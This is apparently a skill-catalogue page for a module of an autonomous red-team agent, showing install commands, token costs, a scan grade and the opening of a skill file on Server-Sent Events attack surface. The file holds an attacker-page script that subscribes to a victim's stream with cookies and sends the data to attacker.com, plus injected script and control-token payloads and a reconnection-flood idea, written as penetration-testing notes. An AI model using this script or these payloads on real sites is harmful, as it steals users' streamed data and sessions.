Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill server-sent-eventsgit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/server-sent-events)<a href="https://agentmods.dev/skills/purpleailab/decepticon/server-sent-events"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/server-sent-events/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/server-sent-events"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/server-sent-events.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector pass
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00054 | $0.00944 |
| Opus 5 | $0.00027 | $0.00472 |
| Sonnet 5 | $0.00011 | $0.00189 |
| Haiku 4.5 | $0.00005 | $0.00094 |
Grade A, and why
api-server-sent-events scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -sk -i https://target/stream -H "Accept: text/event-stream" | head Copies of this mod
1 near-identical copy found in the catalogue:
- server-sent-events — 97% identical, 2 lines differ
How it starts
The opening of the file, as written. The whole thing — 95 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Server-Sent Events (SSE) Attack Surface
SSE is one-way (server → browser) over HTTP/1.1 or HTTP/2 with Content-Type: text/event-stream. Used by LLM chat UIs, live dashboards, progress notifications, log streamers.
Detect
curl -sk -i https://target/stream -H "Accept: text/event-stream" | head
# Look for: Content-Type: text/event-stream
# Body format:
# id: 42
# event: message
# data: {"foo":"bar"}
# (blank line ends one event)
Top bug classes
1. Cross-Origin streaming exfil (SSE doesn't enforce CORS for EventSource)
EventSource honors the Access-Control-Allow-Origin header BUT many implementations forget to set it. If a server emits a CORS-permissive header for SSE, an attacker site can subscribe with the victim's cookies:
<!-- attacker.com -->
<script>
const es = new EventSource("https://target/stream", { withCredentials: true });
es.onmessage = e => navigator.sendBeacon("https://attacker.com/x", e.data);
</script>
Often server's CORS config covers JSON endpoints but accidentally extends to SSE. Test by hitting from a third-party origin.
2. Prompt injection into LLM chat clients
Many LLM frontends consume SSE for streaming tokens. If the server doesn't sanitize, an attacker-controlled upstream can inject control tokens ([DONE], special markers) that confuse the client:
data: {"choices":[{"delta":{"content":"\u0000[DONE]"}}]}
data: {"choices":[{"delta":{"content":"<script>alert(1)</script>"}}]}
3. Reconnection token leak via Last-Event-ID
SSE allows resuming via the Last-Event-ID header. If id: lines carry session-state tokens, those tokens are sent on every reconnect — visible in HTTP access logs and to network proxies even on TLS-terminated intermediaries.
id: jwt-here-encoded
event: message
data: ...
4. Retry timing DoS
Server sets retry: 1000 on the wire. Attacker connects, instantly disconnects, repeats — server tracks reconnections in memory. Burst 10k clients → exhaustion.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 5d ago First seen · 95 lines · 54 tokens per session scan A 418c3c2e085c
api-server-sent-events is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,463 stars, last pushed 9d ago), licensed Apache-2.0. It adds 54 tokens to every session and 944 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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